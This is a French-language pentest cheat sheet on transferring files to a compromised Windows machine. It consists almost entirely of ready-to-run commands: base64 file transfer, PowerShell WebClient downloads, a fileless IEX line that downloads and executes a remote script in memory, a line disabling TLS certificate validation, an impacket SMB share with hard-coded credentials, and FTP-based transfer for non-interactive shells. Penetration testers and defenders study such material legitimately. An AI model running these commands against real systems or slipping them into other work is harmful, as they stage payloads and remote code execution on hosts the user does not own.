Aller au contenu

Télécharger depuis Windows

Envoie de fichier en base64

cat $fichier |base64 -w 0;echo
[IO.File]::WriteAllBytes("C:\Users\Public\$fichier", [Convert]::FromBase64String("$base64"))

Télécharger un fichier en powershell

(New-Object Net.WebClient).DownloadFileAsync('$url','$nomFichier')

Télécharger un fichier en mémoire et l'exécuter (fileless)

1
2
3
4
5
IEX (New-Object Net.WebClient).DownloadString('$Url_Script.ps1')

ou

(New-Object Net.WebClient).DownloadString('$Url_Script.ps1') | IEX

Télécharger un fichier via Invoke-WebRequest (ou un de ses Alias: wget, curl, iwr)

Invoke-WebRequest $url -OutFile $nomFichier

Bypasser un certificat untrusted

[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}

Réception d'un fichier via création d'un partage SMB

sudo impacket-smbserver share -smb2support /tmp/smbshare -user t3st -password p4ssword
net use n: \\$monip\share /user:t3st p4ssword

Réception d'un fichier via création d'un serveur FTP

sudo pip3 install pyftpdlib
sudo python3 -m pyftpdlib --port 21
(New-Object Net.WebClient).DownloadFile('ftp://$monIp/file.txt', 'ftp-file.txt')

Ou, en cas de shell non-interractif:

echo open $monIp > ftpcommand.txt
echo USER anonymous >> ftpcommand.txt
echo binary >> ftpcommand.txt
echo GET file.txt >> ftpcommand.txt
echo bye >> ftpcommand.txt
ftp -v -n -s:ftpcommand.txt